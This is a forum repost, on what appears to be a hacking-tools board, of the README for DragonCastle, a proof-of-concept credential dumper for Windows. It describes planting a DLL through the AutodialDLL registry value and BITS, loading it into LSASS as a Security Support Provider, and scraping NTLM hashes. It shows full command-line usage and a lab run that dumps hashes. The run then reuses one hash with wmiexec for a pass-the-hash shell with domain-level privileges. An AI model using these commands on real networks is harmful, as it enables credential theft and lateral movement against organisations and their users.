# DragonCastle | A PoC That Combines AutodialDLL Lateral Movement Technique And SSP To Scrape NTLM Hashes From LSASS Process **URL:** \ **Category:** Tools & Scripts\ **Tags:** tools, privacy, cracking\ **Created:** [January 22, 2023, 1:33pm UTC](https://onehack.st/t/dragoncastle-a-poc-that-combines-autodialdll-lateral-movement-technique-and-ssp-to-scrape-ntlm-hashes-from-lsass-process/231792 "2023-01-22T13:33:51Z")\ **Posts on this page:** 1\ **Page:** 1
**Author:** ![BlueHacker](https://onehack.st/user_avatar/onehack.st/bluehacker/32/174721_2.png) [@BlueHacker](https://onehack.st/u/BlueHacker)\ **Post date:** [January 22, 2023, 1:33pm UTC](https://onehack.st/t/dragoncastle-a-poc-that-combines-autodialdll-lateral-movement-technique-and-ssp-to-scrape-ntlm-hashes-from-lsass-process/231792/1 "2023-01-22T13:33:52Z")
![image](https://onehack.st/uploads/default/original/3X/0/9/090981a4aa808dac77e9e8998f62c358b2443f24.jpeg) DragonCastle A PoC that combines AutodialDLL lateral movement technique and SSP to scrape NTLM hashes from LSASS process. Description Upload a DLL to the target machine. Then it enables remote registry to modify AutodialDLL entry and start/restart BITS service. Svchosts would load our DLL, set again AutodiaDLL to default value and perform a RPC request to force LSASS to load the same DLL as a Security Support Provider. Once the DLL is loaded by LSASS, it would search inside the process memory to extract NTLM hashes and the key/IV. The DLLMain always returns False so the processes doesn’t keep it. Caveats It only works when RunAsPPL is not enabled. Also I only added support to decrypt 3DES because I am lazy, but should be easy peasy to add code for AES. By the same reason, I only implemented support for next Windows versions: Build Support Windows 10 version 21H2 Windows 10 version 21H1 Implemented Windows 10 version 20H2 Implemented Windows 10 version 20H1 (2004) Implemented Windows 10 version 1909 Implemented Windows 10 version 1903 Implemented Windows 10 version 1809 Implemented Windows 10 version 1803 Implemented Windows 10 version 1709 Implemented Windows 10 version 1703 Implemented Windows 10 version 1607 Implemented Windows 10 version 1511 Windows 10 version 1507 Windows 8 Windows 7 The signatures/offsets/structs were taken from Mimikatz. If you want to add a new version just check sekurlsa functionality on Mimikatz. Usage psyconauta@insulanova:~/Research/dragoncastle|⇒ python3 dragoncastle.py -h DragonCastle - @TheXC3LL usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location] DragonCastle - A credential dumper (@TheXC3LL) optional arguments: -h, --help show this help message and exit -u USERNAME, --username USERNAME valid username -p PASSWORD, --password PASSWORD valid password (if omitted, it will be asked unless -no-pass) -d DOMAIN, --domain DOMAIN valid domain name -hashes [LMHASH]:NTHASH NT/LM hashes (LM hash can be empty) -no-pass don’t ask for password (useful for -k) -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it -local-dll dll to plant DLL location (local) that will be planted on target -remote-dll dll location Path used to update AutodialDLL registry value Example Windows server on 192.168.56.20 and Domain Controller on 192.168.56.10: psyconauta@insulanova:~/Research/dragoncastle|⇒ python3 dragoncastle.py -u vagrant -p ‘vagrant’ -d WINTERFELL -target-ip 192.168.56.20 -remote-dll “c:\dump.dll” -local-dll DragonCastle.dll DragonCastle - @TheXC3LL [+] Connecting to 192.168.56.20 [+] Uploading DragonCastle.dll to c:\dump.dll [+] Checking Remote Registry service status… [+] Service is down! [+] Starting Remote Registry service… [+] Connecting to 192.168.56.20 [+] Updating AutodialDLL value [+] Stopping Remote Registry Service [+] Checking BITS service status… [+] Service is down! [+] Starting BITS service [+] Downloading creds [+] Deleting credential file [+] Parsing creds: ``` ============ ``` * * * ## User: vagrant Domain: WINTERFELL ## User: vagrant Domain: WINTERFELL ## User: eddard.stark Domain: SEVENKINGDOMS NTLM: d977b98c6c9282c5c478be1d97b237b8 ## User: eddard.stark Domain: SEVENKINGDOMS NTLM: d977b98c6c9282c5c478be1d97b237b8 ## User: vagrant Domain: WINTERFELL NTLM: e02bc503339d51f71d913c245d35b50b ## User: DWM-1 Domain: Window Manager NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590 ## User: DWM-1 Domain: Window Manager NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590 ## User: WINTERFELL$ Domain: SEVENKINGDOMS NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590 ## User: UMFD-0 Domain: Font Driver Host NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590 ## User: Domain: NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590 User: Domain: ``` ============ ``` [+] Deleting DLL [^] Have a nice day! psyconauta@insulanova:~/Research/dragoncastle|⇒ wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/eddard.stark@192.168.56.10 Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [\*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami sevenkingdoms\eddard.stark C:\>whoami /priv ## PRIVILEGES INFORMATION Privilege Name Description State ========================================= ================================================================== ======= SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeMachineAccountPrivilege Add workstations to domain Enabled SeSecurityPrivilege Manage auditing and security log Enabled SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeSystemProfilePrivilege Profile system performance Enabled SeSystemtimePrivilege Change the system time Enabled SeProfileSingleProcessPrivilege Profile single process Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeCreatePagefilePrivilege Create a pagefile Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled SeUndockPrivilege Remove computer from docking station Enabled SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled SeManageVolumePrivilege Perform volume maintenance tasks Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled SeCreateSymbolicLinkPrivilege Create symbolic links Enabled SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled C:\> Author Juan Manuel Fernández (@TheXC3LL) References > **[Operation Dragon Castling: APT group targeting betting companies](https://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies)** > > APT Targets Betting Firms Clandestinely > **[Beyond good ol’ Run key, Part 24 | Hexacorn](https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/)** > **[A physical graffiti of LSASS: getting credentials from physical memory for...](https://adepts.of0x.cc/physical-graffiti-lsass/)** > > Dumping credentials from LSASS via physical memory in live machines > **[Exploring Mimikatz - Part 2 - SSP](https://blog.xpnsec.com/exploring-mimikatz-part-2/)** > > If you haven't had a chance to check it out, take a look here. Continuing on, in this post we will review what has become a nice way of subverting security controls added by Microsoft to prevent dumping of credentials, as well as extracting... ## GitHub: > **[GitHub - mdsecactivebreach/DragonCastle: A PoC that combines AutodialDLL lateral movement...](https://github.com/mdsecactivebreach/DragonCastle)** > > A PoC that combines AutodialDLL lateral movement technique and SSP to scrape NTLM hashes from LSASS process.